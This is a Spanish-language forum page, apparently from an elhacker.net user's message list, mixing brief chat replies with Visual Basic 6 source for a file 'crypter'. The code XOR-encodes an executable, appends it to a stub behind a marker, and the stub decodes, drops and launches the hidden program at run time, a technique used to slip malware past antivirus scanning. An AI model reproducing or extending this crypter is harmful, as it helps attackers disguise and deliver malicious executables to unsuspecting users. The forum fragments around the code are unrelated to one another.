@elea intenta evitar las palabras como victima y similares.
Gracias.
Gracias.
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúOption Explicit
Private Sub AbrirArchivo_Click() ' Boton con el que seleccionaremos el archivo ejecutable
With CD ' Objeto CommonDialog
.Filter = "Archivos ejecutables |*.exe" ' Le decimos que solo puedan seleccionar archivos ejecutables
.ShowOpen
Text1.Text = .FileName ' Guardamos el ejecutable que selecciono en el textbox1
End With
End Sub
Private Sub Cifrar_Click() ' Boton que cifra y genera el archivo
Dim Datos As String
Dim DatosCifrados As String
Dim Stub As String
Open Text1.Text For Binary As #1 ' Leemos el archivo que queremos cifrar
Datos = Space(LOF(1))
Get #1, , Datos
Close #1
DatosCifrados = CifrarDatos(Datos) ' Ciframos los datos
Open App.Path & "\Stub.exe" For Binary As #2 ' Leemos el stub
Stub = Space(LOF(2))
Get #2, , Stub
Close #2
Open App.Path & "\Generado.exe" For Binary As #3 ' generamos el ejecutable final cifrado:
Put #3, , Stub ' Escribimos el stub
Put #3, , "FORO.ELHACKER.NET" ' Escribimos nuestra "MARCA"
Put #3, , DatosCifrados ' Escribimos los datos cifrados
Close #3
MsgBox "Archivo cifrado" ' Terminamos de cifrar
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que cifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End Function
Option Explicit
Private Declare Function ShellExecute Lib "shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As Long, ByVal lpOperation As String, ByVal lpFile As String, ByVal lpParameters As String, ByVal lpDirectory As String, ByVal nShowCmd As Long) As Long
Private Sub Form_Load()
Dim Misdatos As String
Dim cifrados As String
Dim Descifrados As String
Open App.Path & "\Generado.exe" For Binary As #1 ' Nos leemos a nostros mismos
Misdatos = Space(LOF(1))
Get #1, , Misdatos
Close #1
cifrados = Split(Misdatos, "FORO.ELHACKER.NET")(1) ' Obtenemos lo que hay a partis de la marca
Descifrados = CifrarDatos(cifrados) ' Desciframos el ejecutable que teniamos guardados
Open App.Path & "\Descifrado.exe" For Binary As #1 ' Generamos el ejecutable
Put #1, , Descifrados ' NOTA: Normalmente se extrae el archivo en otra ruta, no en la ruta donde esta el ejecutbale cifrado.
Close #1
Call ShellExecute(Me.hwnd, "Open", App.Path & "\Descifrado.exe", "", "", 1) ' Ejecutamos el ejecutable
End Sub
Public Function CifrarDatos(Datos As String) As String ' Funcion que descifra los datos
Dim i As Integer
Dim Buffer As String
For i = 1 To Len(Datos)
Buffer = Buffer & Chr(Asc(Mid(Datos, i, 1)) Xor 5)
Next i
CifrarDatos = Buffer
End Function
Cita de: burbu_1 en 12 Marzo 2016, 20:26 PM
zorionak drinky
ésto vuelve a parecer otra cosa.......me alegro que os lo curreis gente como tú